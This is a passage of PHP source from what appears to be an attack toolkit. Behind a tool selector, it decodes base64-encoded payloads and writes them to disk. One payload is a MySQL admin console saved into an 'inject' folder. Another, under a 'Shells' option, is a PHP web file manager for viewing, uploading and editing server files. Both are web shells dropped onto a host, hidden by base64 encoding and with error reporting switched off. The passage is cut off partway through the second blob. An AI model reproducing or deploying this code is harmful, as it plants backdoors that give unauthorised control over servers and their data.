UEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5cbiI7
CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93
X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsKCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9T
RUxGP2FjdGlvbj11dGlscyZjb21tYW5kPXNob3dfcHJvY2Vzc2xpc3QnPlByb2Nlc3NsaXN0PC9h
PlxuIjsKCQllY2hvICI8L3VsPlxuIjsKCQllY2hvICJGbHVzaFxuIjsKCQllY2hvICI8dWw+XG4i
OwoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1
c2hfaG9zdHMnPkhvc3RzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiAp
IHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggaG9zdHMiICkgIT0gZmFsc2UgKQoJCQkJZWNo
byAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD4tIFN1Y2Nlc3M8L2ZvbnQ+IjsKCQkJZWxzZQoJCQkJ
ZWNobyAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD4tIEZhaWw8L2ZvbnQ+IjsKCQl9CgkJZWNobyAi
PGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5M
b2dzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2xvZ3MiICkgewoJCQlpZiggbXlz
cWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9IGZhbHNlICkKCQkJCWVjaG8gIjxmb250IHNpemU9
MiBjb2xvcj1yZWQ+LSBTdWNjZXNzPC9mb250PiI7CgkJCWVsc2UKCQkJCWVjaG8gIjxmb250IHNp
emU9MiBjb2xvcj1yZWQ+LSBGYWlsPC9mb250PiI7CgkJfQoJCWVjaG8gIjxsaT48YSBocmVmPSck
UEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfcHJpdmlsZWdlcyc+UHJpdmlsZWdl
czwvYT5cbiI7CgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9wcml2aWxlZ2VzIiApIHsKCQkJaWYo
IG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8
Zm9udCBzaXplPTIgY29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hv
ICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8bGk+
PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3RhYmxlcyc+VGFi
bGVzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7CgkJCWlmKCBt
eXNxbF9xdWVyeSggIkZsdXNoIHRhYmxlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8Zm9udCBz
aXplPTIgY29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hvICI8Zm9u
dCBzaXplPTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8bGk+PGEgaHJl
Zj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9h
PlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3N0YXR1cyIgKSB7CgkJCWlmKCBteXNxbF9x
dWVyeSggIkZsdXNoIHN0YXR1cyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8Zm9udCBzaXplPTIg
Y29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hvICI8Zm9udCBzaXpl
PTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8L3VsPlxuIjsKCX0gZWxz
ZSB7CgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsKCQkk
cFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgKTsKCQlpZiggJHBSZXN1bHQgPT0gZmFs
c2UgKSB7CgkJCWVjaG8gIkZhaWwiOwoJCQlyZXR1cm47CgkJfQoJCSRjb2wgPSBteXNxbF9udW1f
ZmllbGRzKCAkcFJlc3VsdCApOwoKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8
L3A+XG4iOwoJCWVjaG8gIjxocj5cbiI7CgoJCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNl
bGxwYWRkaW5nPTIgYm9yZGVyPTA+XG4iOwoJCWVjaG8gIjx0cj5cbiI7CgkJZm9yKCAkaSA9IDA7
ICRpIDwgJGNvbDsgJGkrKyApIHsKCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVz
dWx0LCAkaSApOwoJCQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUuIjwvdGg+XG4iOwoJCX0KCQll
Y2hvICI8L3RyPlxuIjsKCgkJd2hpbGUoIDEgKSB7CgkJCSRyb3dBcnJheSA9IG15c3FsX2ZldGNo
X3JvdyggJHBSZXN1bHQgKTsKCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOwoJCQll
Y2hvICI8dHI+XG4iOwoJCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkKCQkJCWVjaG8g
Ijx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7CgkJCWVj
aG8gIjwvdHI+XG4iOwoJCX0KCQllY2hvICI8L3RhYmxlPlxuIjsKCX0KfQoKZnVuY3Rpb24gaGVh
ZGVyX2h0bWwoKSB7CglnbG9iYWwgJFBIUF9TRUxGOwoJCmVjaG8gJwo8aHRtbD4KPGhlYWQ+Cjx0
aXRsZT5NeVNRTCBJbnRlcmZhY2U8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0t
CnAubG9jYXRpb24gewoJY29sb3I6ICMxMWJiMzM7Cglmb250LXNpemU6IHNtYWxsOwp9CmgxIHsK
CWNvbG9yOiAjQTRBMjYwOwp9CnRoIHsKCWJhY2tncm91bmQtY29sb3I6ICNCREJFNDI7Cgljb2xv
cjogI0ZGRkZGRjsKCWZvbnQtc2l6ZTogeC1zbWFsbDsKfQp0ZCB7CgliYWNrZ3JvdW5kLWNvbG9y
OiAjREVERkE1OwoJZm9udC1zaXplOiB4LXNtYWxsOwp9CmZvcm0gewoJbWFyZ2luLXRvcDogMDsK
CW1hcmdpbi1ib3R0b206IDA7Cn0KYSB7Cgl0ZXh0LWRlY29yYXRpb246bm9uZTsKCWNvbG9yOiAj
ODQ4MjAwOwoJZm9udC1zaXplOngtc21hbGw7Cn0KYTpsaW5rIHsKfQphOmhvdmVyIHsKCWJhY2tn
cm91bmQtY29sb3I6I0VFRUZENTsKCWNvbG9yOiM2NDYyMDA7Cgl0ZXh0LWRlY29yYXRpb246bm9u
ZSAgICAgICAgICAgICAgIAp9Ci8vLS0+Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cic7Cn0KCmZ1
bmN0aW9uIGZvb3Rlcl9odG1sKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRh
YmxlbmFtZSwgJFBIUF9TRUxGLCAkVVNFUk5BTUU7CgoJZWNobyAiPGhyPlxuIjsKCWVjaG8gIjxm
b250IHNpemU9MiBjb2xvcj1ibHVlPlskVVNFUk5BTUVdPC9mb250PiAtIFxuIjsKCgllY2hvICI8
YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3REQnMnPkRhdGFiYXNlIExpc3Q8L2E+IHwgXG4i
OwoJaWYoICR0YWJsZW5hbWUgIT0gIiIgKQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rp
b249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUg
TGlzdDwvYT4gfCAiOwoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyc+VXRp
bHM8L2E+IHxcbiI7CgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxvZ291dCc+TG9n
b3V0PC9hPlxuIjsKCWVjaG8gIjwvZm9udD5cbiI7CgllY2hvICI8L2JvZHk+XG4iOwoJZWNobyAi
PC9odG1sPlxuIjsKfQoKCgoKLy8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLwpl
cnJvcl9yZXBvcnRpbmcoMCk7CmluaV9zZXQgKCdkaXNwbGF5X2Vycm9ycycsIDApOwppbmlfc2V0
ICgnbG9nX2Vycm9ycycsIDApOwoKaWYoICRhY3Rpb24gPT0gImxvZ29uIiB8fCAkYWN0aW9uID09
ICIiIHx8ICRhY3Rpb24gPT0gImxvZ291dCIgKQoJbG9nb24oKTsKZWxzZSBpZiggJGFjdGlvbiA9
PSAibG9nb25fc3VibWl0IiApCglsb2dvbl9zdWJtaXQoKTsKZWxzZSBpZiggJGFjdGlvbiA9PSAi
ZHVtcFRhYmxlIiB8fCAkYWN0aW9uID09ICJkdW1wREIiICkgewoJd2hpbGUoIGxpc3QoJHZhciwg
JHZhbHVlKSA9IGVhY2goJEhUVFBfQ09PS0lFX1ZBUlMpICkgewoJCWlmKCAkdmFyID09ICJteXNx
bF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOwoJCWlmKCAkdmFyID09
ICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICkgJFBBU1NXT1JEID0gJHZhbHVlOwoJCWlmKCAk
dmFyID09ICJteXNxbF93ZWJfYWRtaW5faG9zdG5hbWUiICkgJEhPU1ROQU1FID0gJHZhbHVlOwoJ
fQoJJG15c3FsSGFuZGxlID0gbXlzcWxfcGNvbm5lY3QoICRIT1NUTkFNRSwgJFVTRVJOQU1FLCAk
UEFTU1dPUkQgKTsKCWR1bXAoKTsKfSBlbHNlIHsKCXdoaWxlKCBsaXN0KCR2YXIsICR2YWx1ZSkg
PSBlYWNoKCRIVFRQX0NPT0tJRV9WQVJTKSApIHsKCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2Fk
bWluX3VzZXJuYW1lIiApICRVU0VSTkFNRSA9ICR2YWx1ZTsKCQlpZiggJHZhciA9PSAibXlzcWxf
d2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsKCQlpZiggJHZhciA9PSAi
bXlzcWxfd2ViX2FkbWluX2hvc3RuYW1lIiApICRIT1NUTkFNRSA9ICR2YWx1ZTsKCX0KCWVjaG8g
IjwhLS0iOwoJJG15c3FsSGFuZGxlID0gbXlzcWxfcGNvbm5lY3QoICRIT1NUTkFNRSwgJFVTRVJO
QU1FLCAkUEFTU1dPUkQgKTsKCWVjaG8gIi0tPiI7CgoJaWYoICRteXNxbEhhbmRsZSA9PSBmYWxz
ZSApIHsKCQllY2hvICI8aHRtbD5cbiI7CgkJZWNobyAiPGhlYWQ+XG4iOwoJCWVjaG8gIjx0aXRs
ZT5NeVNRTCBJbnRlcmZhY2U8L3RpdGxlPlxuIjsKCQllY2hvICI8L2hlYWQ+XG4iOwoJCWVjaG8g
Ijxib2R5PlxuIjsKCQllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJT48dHI+PHRk
PjxjZW50ZXI+XG4iOwoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsKCQllY2hv
ICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxvZ29uJz5Mb2dvbjwvYT5cbiI7CgkJZWNobyAi
PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+XG4iOwoJCWVjaG8gIjwvYm9keT5cbiI7CgkJZWNo
byAiPC9odG1sPlxuIjsKCX0gZWxzZSB7CgkJaGVhZGVyX2h0bWwoKTsKCQlpZiggJGFjdGlvbiA9
PSAibGlzdERCcyIgKQoJCQlsaXN0RGF0YWJhc2VzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAi
Y3JlYXRlREIiICkKCQkJY3JlYXRlRGF0YWJhc2UoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJk
cm9wREIiICkKCQkJZHJvcERhdGFiYXNlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRh
YmxlcyIgKQoJCQlsaXN0VGFibGVzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlVGFi
bGUiICkKCQkJY3JlYXRlVGFibGUoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wVGFibGUi
ICkKCQkJZHJvcFRhYmxlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQoJ
CQl2aWV3U2NoZW1hKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkKCQkJdmlld0Rh
dGEoICRxdWVyeVN0ciApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkIiApCgkJCW1h
bmFnZUZpZWxkKCAiYWRkIiApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1p
dCIgKQoJCQltYW5hZ2VGaWVsZF9zdWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9
PSAiZWRpdEZpZWxkIiApCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0
aW9uID09ICJlZGl0RmllbGRfc3VibWl0IiApCgkJCW1hbmFnZUZpZWxkX3N1Ym1pdCggImVkaXQi
ICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApCgkJCWRyb3BGaWVsZCgpOwoJ
CWVsc2UgaWYoICRhY3Rpb24gPT0gInZpZXdEYXRhIiApCgkJCXZpZXdEYXRhKCAiIiApOwoJCWVs
c2UgaWYoICRhY3Rpb24gPT0gImFkZERhdGEiICkKCQkJbWFuYWdlRGF0YSggImFkZCIgKTsKCQll
bHNlIGlmKCAkYWN0aW9uID09ICJhZGREYXRhX3N1Ym1pdCIgKQoJCQltYW5hZ2VEYXRhX3N1Ym1p
dCggImFkZCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQoJCQltYW5hZ2VE
YXRhKCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YV9zdWJtaXQiICkK
CQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImRl
bGV0ZURhdGEiICkKCQkJZGVsZXRlRGF0YSgpOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxz
IiApCgkJCXV0aWxzKCk7CgoJCW15c3FsX2Nsb3NlKCAkbXlzcWxIYW5kbGUpOwoJCWZvb3Rlcl9o
dG1sKCk7Cgl9Cn0KCj8+';
file_put_contents('MySQL.php',base64_decode($sql));
echo "<a href='./inject/MySQL.php'>Here MySQL.php</a><br>";
}elseif($_POST[tool]=='Shells'){
$shells = 'shells';
mkdir('shells');
chdir('shells');
$shell = 'PD9waHANCg0KJGxhbmcgPSAnaXQnOw0KDQovKiBDaGFyc2V0IG9mIG91dHB1dDoNCiAqIHBvc3NpYmxlIHZhbHVlcyBhcmUgZGVzY3JpYmVkIGluIHRoZSBjaGFyc2V0IHRhYmxlIGF0DQogKiBodHRwOi8vd3d3LnBocC5uZXQvbWFudWFsL2VuL2Z1bmN0aW9uLmh0bWxlbnRpdGllcy5waHANCiAqICdhdXRvJyAtIHVzZSB0aGUgc2FtZSBjaGFyc2V0IGFzIHRoZSB3b3JkcyBvZiBteSBsYW5ndWFnZSBhcmUgZW5jb2RlZA0KICovDQokc2l0ZV9jaGFyc2V0ID0gJ2F1dG8nOw0KDQovKiBIb21lZGlyOg0KICogRm9yIGV4YW1wbGU6ICcuLycgLSB0aGUgc2NyaXB0J3MgZGlyZWN0b3J5DQogKi8NCiRob21lZGlyID0gJy4vJzsNCg0KLyogU2l6ZSBvZiB0aGUgZWRpdCB0ZXh0YXJlYQ0KICovDQokZWRpdGNvbHMgPSA4MDsNCiRlZGl0cm93cyA9IDI1Ow0KDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogKiBPcHRpb25hbCBjb25maWd1cmF0aW9uIChyZW1vdmUgIyB0byBlbmFibGUpDQogKi8NCg0KLyogUGVybWlzc2lvbiBvZiBjcmVhdGVkIGRpcmVjdG9yaWVzOg0KICogRm9yIGV4YW1wbGU6IDA3MDUgd291bGQgYmUgJ2Ryd3gtLS1yLXgnLg0KICovDQojICRkaXJwZXJtaXNzaW9uID0gMDcwNTsNCg0KLyogUGVybWlzc2lvbiBvZiBjcmVhdGVkIGZpbGVzOg0KICogRm9yIGV4YW1wbGU6IDA2MDQgd291bGQgYmUgJy1ydy0tLS1yLS0nLg0KICovDQojICRmaWxlcGVybWlzc2lvbiA9IDA2MDQ7DQoNCi8qIEZpbGVuYW1lcyByZWxhdGVkIHRvIHRoZSBhcGFjaGUgd2ViIHNlcnZlcjoNCiAqLw0KJGh0YWNjZXNzID0gJy5odGFjY2Vzcyc7DQokaHRwYXNzd2QgPSAnLmh0cGFzc3dkJzsNCg0KLyogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLw0KDQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWFycmF5X3dhbGsoJF9HRVQsICdzdHJpcCcpOw0KCWFycmF5X3dhbGsoJF9QT1NULCAnc3RyaXAnKTsNCglhcnJheV93YWxrKCRfUkVRVUVTVCwgJ3N0cmlwJyk7DQp9DQoNCmlmIChhcnJheV9rZXlfZXhpc3RzKCdpbWFnZScsICRfR0VUKSkgew0KCWhlYWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9naWYnKTsNCglkaWUoZ2V0aW1hZ2UoJF9HRVRbJ2ltYWdlJ10pKTsNCn0NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2xzdGF0JykpIHsNCglmdW5jdGlvbiBsc3RhdCAoJGZpbGVuYW1lKSB7DQoJCXJldHVybiBzdGF0KCRmaWxlbmFtZSk7DQoJfQ0KfQ0KDQokZGVsaW0gPSBESVJFQ1RPUllfU0VQQVJBVE9SOw0KDQppZiAoZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSkgew0KCSR3aW4gPSAoc3RydG91cHBlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICdXSU4nKSA/IHRydWUgOiBmYWxzZTsNCn0gZWxzZSB7DQoJJHdpbiA9ICgkZGVsaW0gPT0gJ1xcJykgPyB0cnVlIDogZmFsc2U7DQp9DQoNCmlmICghZW1wdHkoJF9TRVJWRVJbJ1BBVEhfVFJBTlNMQVRFRCddKSkgew0KCSRzY3JpcHRkaXIgPSBkaXJuYW1lKCRfU0VSVkVSWydQQVRIX1RSQU5TTEFURUQnXSk7DQp9IGVsc2VpZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSkpIHsNCgkkc2NyaXB0ZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOw0KfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0Y3dkJykpIHsNCgkkc2NyaXB0ZGlyID0gZ2V0Y3dkKCk7DQp9IGVsc2Ugew0KCSRzY3JpcHRkaXIgPSAnLic7DQp9DQokaG9tZWRpciA9IHJlbGF0aXZlMmFic29sdXRlKCRob21lZGlyLCAkc2NyaXB0ZGlyKTsNCg0KJGRpciA9IChhcnJheV9rZXlfZXhpc3RzKCdkaXInLCAkX1JFUVVFU1QpKSA/ICRfUkVRVUVTVFsnZGlyJ10gOiAkaG9tZWRpcjsNCg0KaWYgKGFycmF5X2tleV9leGlzdHMoJ29sZGRpcicsICRfUE9TVCkgJiYgIXBhdGhfaXNfcmVsYXRpdmUoJF9QT1NUWydvbGRkaXInXSkpIHsNCgkkZGlyID0gcmVsYXRpdmUyYWJzb2x1dGUoJGRpciwgJF9QT1NUWydvbGRkaXInXSk7DQp9DQoNCiRkaXJlY3RvcnkgPSBzaW1wbGlmeV9wYXRoKGFkZHNsYXNoKCRkaXIpKTsNCg0KJGZpbGVzID0gYXJyYXkoKTsNCiRhY3Rpb24gPSAnJzsNCmlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfYWxsJ10pKSB7DQoJJGFjdGlvbiA9ICRfUE9TVFsnYWN0aW9uX2FsbCddOw0KCWZvciAoJGkgPSAwOyAkaSA8ICRfUE9TVFsnbnVtJ107ICRpKyspIHsNCgkJaWYgKGFycmF5X2tleV9leGlzdHMoImNoZWNrZWQkaSIsICRfUE9TVCkgJiYgJF9QT1NUWyJjaGVja2VkJGkiXSA9PSAndHJ1ZScpIHsNCgkJCSRmaWxlc1tdID0gJF9QT1NUWyJmaWxlJGkiXTsNCgkJfQ0KCX0NCn0gZWxzZWlmICghZW1wdHkoJF9SRVFVRVNUWydhY3Rpb24nXSkpIHsNCgkkYWN0aW9uID0gJF9SRVFVRVNUWydhY3Rpb24nXTsNCgkkZmlsZXNbXSA9IHJlbGF0aXZlMmFic29sdXRlKCRfUkVRVUVTVFsnZmlsZSddLCAkZGlyZWN0b3J5KTsNCn0gZWxzZWlmICghZW1wdHkoJF9QT1NUWydzdWJtaXRfdXBsb2FkJ10pICYmICFlbXB0eSgkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSkgew0KCSRmaWxlc1tdID0gJF9GSUxFU1sndXBsb2FkJ107DQoJJGFjdGlvbiA9ICd1cGxvYWQnOw0KfSBlbHNlaWYgKGFycmF5X2tleV9leGlzdHMoJ251bScsICRfUE9TVCkpIHsNCglmb3IgKCRpID0gMDsgJGkgPCAkX1BPU1RbJ251bSddOyAkaSsrKSB7DQoJCWlmIChhcnJheV9rZXlfZXhpc3RzKCJzdWJtaXQkaSIsICRfUE9TVCkpIGJyZWFrOw0KCX0NCglpZiAoJGkgPCAkX1BPU1RbJ251bSddKSB7DQoJCSRhY3Rpb24gPSAkX1BPU1RbImFjdGlvbiRpIl07DQoJCSRmaWxlc1tdID0gJF9QT1NUWyJmaWxlJGkiXTsNCgl9DQp9DQppZiAoZW1wdHkoJGFjdGlvbikgJiYgKCFlbXB0eSgkX1BPU1RbJ3N1Ym1pdF9jcmVhdGUnXSkgfHwgKGFycmF5X2tleV9leGlzdHMoJ2ZvY3VzJywgJF9QT1NUKSAmJiAkX1BPU1RbJ2ZvY3VzJ10gPT0gJ2NyZWF0ZScpKSAmJiAhZW1wdHkoJF9QT1NUWydjcmVhdGVfbmFtZSddKSkgew0KCSRmaWxlc1tdID0gcmVsYXRpdmUyYWJzb2x1dGUoJF9QT1NUWydjcmVhdGVfbmFtZSddLCAkZGlyZWN0b3J5KTsNCglzd2l0Y2ggKCRfUE9TVFsnY3JlYXRlX3R5cGUnXSkgew0KCWNhc2UgJ2RpcmVjdG9yeSc6DQoJCSRhY3Rpb24gPSAnY3JlYXRlX2RpcmVjdG9yeSc7DQoJCWJyZWFrOw0KCWNhc2UgJ2ZpbGUnOg0KCQkkYWN0aW9uID0gJ2NyZWF0ZV9maWxlJzsNCgl9DQp9DQppZiAoc2l6ZW9mKCRmaWxlcykgPT0gMCkgJGFjdGlvbiA9ICcnOyBlbHNlICRmaWxlID0gcmVzZXQoJGZpbGVzKTsNCg0KaWYgKCRsYW5nID09ICdhdXRvJykgew0KCWlmIChhcnJheV9rZXlfZXhpc3RzKCdIVFRQX0FDQ0VQVF9MQU5HVUFHRScsICRfU0VSVkVSKSAmJiBzdHJsZW4oJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10pID49IDIpIHsNCgkJJGxhbmcgPSBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpOw0KCX0gZWxzZSB7DQoJCSRsYW5nID0gJ2VuJzsNCgl9DQp9DQoNCiR3b3JkcyA9IGdldHdvcmRzKCRsYW5nKTsNCg0KaWYgKCRzaXRlX2NoYXJzZXQgPT0gJ2F1dG8nKSB7DQoJJHNpdGVfY2hhcnNldCA9ICR3b3JkX2NoYXJzZXQ7DQp9DQoNCiRjb2xzID0gKCR3aW4pID8gNCA6IDc7DQoNCmlmICghaXNzZXQoJGRpcnBlcm1pc3Npb24pKSB7DQoJJGRpcnBlcm1pc3Npb24gPSAoZnVuY3Rpb25fZXhpc3RzKCd1bWFzaycpKSA/ICgwNzc3ICYgfnVtYXNrKCkpIDogMDc1NTsNCn0NCmlmICghaXNzZXQoJGZpbGVwZXJtaXNzaW9uKSkgew0KCSRmaWxlcGVybWlzc2lvbiA9IChmdW5jdGlvbl9leGlzdHMoJ3VtYXNrJykpID8gKDA2NjYgJiB+dW1hc2soKSkgOiAwNjQ0Ow0KfQ0KDQppZiAoIWVtcHR5KCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSkgew0KCSRzZWxmID0gaHRtbChiYXNlbmFtZSgkX1NFUlZFUlsnU0NSSVBUX05BTUUnXSkpOw0KfSBlbHNlaWYgKCFlbXB0eSgkX1NFUlZFUlsnUEhQX1NFTEYnXSkpIHsNCgkkc2VsZiA9IGh0bWwoYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pKTsNCn0gZWxzZSB7DQoJJHNlbGYgPSAnJzsNCn0NCg0KaWYgKCFlbXB0eSgkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10pKSB7DQoJaWYgKHN0cnRvbG93ZXIoc3Vic3RyKCRfU0VSVkVSWydTRVJWRVJfU09GVFdBUkUnXSwgMCwgNikpID09ICdhcGFjaGUnKSB7DQoJCSRhcGFjaGUgPSB0cnVlOw0KCX0gZWxzZSB7DQoJCSRhcGFjaGUgPSBmYWxzZTsNCgl9DQp9IGVsc2Ugew0KCSRhcGFjaGUgPSB0cnVlOw0KfQ0KDQpzd2l0Y2ggKCRhY3Rpb24pIHsNCg0KY2FzZSAndmlldyc6DQoNCglpZiAoaXNfc2NyaXB0KCRmaWxlKSkgew0KDQoJCS8qIGhpZ2hsaWdodF9maWxlIGlzIGEgbWVzcyEgKi8NCgkJb2Jfc3RhcnQoKTsNCgkJaGlnaGxpZ2h0X2ZpbGUoJGZpbGUpOw0KCQkkc3JjID0gZXJlZ19yZXBsYWNlKCc8Zm9udCBjb2xvcj0iKFteIl0qKSI+JywgJzxzcGFuIHN0eWxlPSJjb2xvcjogXDEiPicsIG9iX2dldF9jb250ZW50cygpKTsNCgkJJHNyYyA9IHN0cl9yZXBsYWNlKGFycmF5KCc8L2ZvbnQ+JywgIlwNCiIsICJcDQoiKSwgYXJyYXkoJzwvc3Bhbj4nLCAnJywgJycpLCAkc3JjKTsNCgkJb2JfZW5kX2NsZWFuKCk7DQoNCgkJaHRtbF9oZWFkZXIoKTsNCgkJZWNobyAnPGgyIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0OyBtYXJnaW4tYm90dG9tOiAwIj4nIC4gaHRtbCgkZmlsZSkgLiAnPC9oMj4NCg0KPGhyIC8+DQoNCjx0YWJsZT4NCjx0cj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IGNvbG9yOiBncmF5OyBwYWRkaW5nLXJpZ2h0OiAzcHQ7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkIGdyYXkiPg0KPHByZSBzdHlsZT0ibWFyZ2luLXRvcDogMCI+PGNvZGU+JzsNCg0KCQlmb3IgKCRpID0gMTsgJGkgPD0gc2l6ZW9mKGZpbGUoJGZpbGUpKTsgJGkrKykgZWNobyAiJGlcDQoiOw0KDQoJCWVjaG8gJzwvY29kZT48L3ByZT4NCjwvdGQ+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQ7IHZlcnRpY2FsLWFsaWduOiB0b3A7IHBhZGRpbmctbGVmdDogM3B0Ij4NCjxwcmUgc3R5bGU9Im1hcmdpbi10b3A6IDAiPicgLiAkc3JjIC4gJzwvcHJlPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQonOw0KDQoJCWh0bWxfZm9vdGVyKCk7DQoNCgl9IGVsc2Ugew0KDQoJCWhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gZ2V0bWltZXR5cGUoJGZpbGUpKTsNCgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l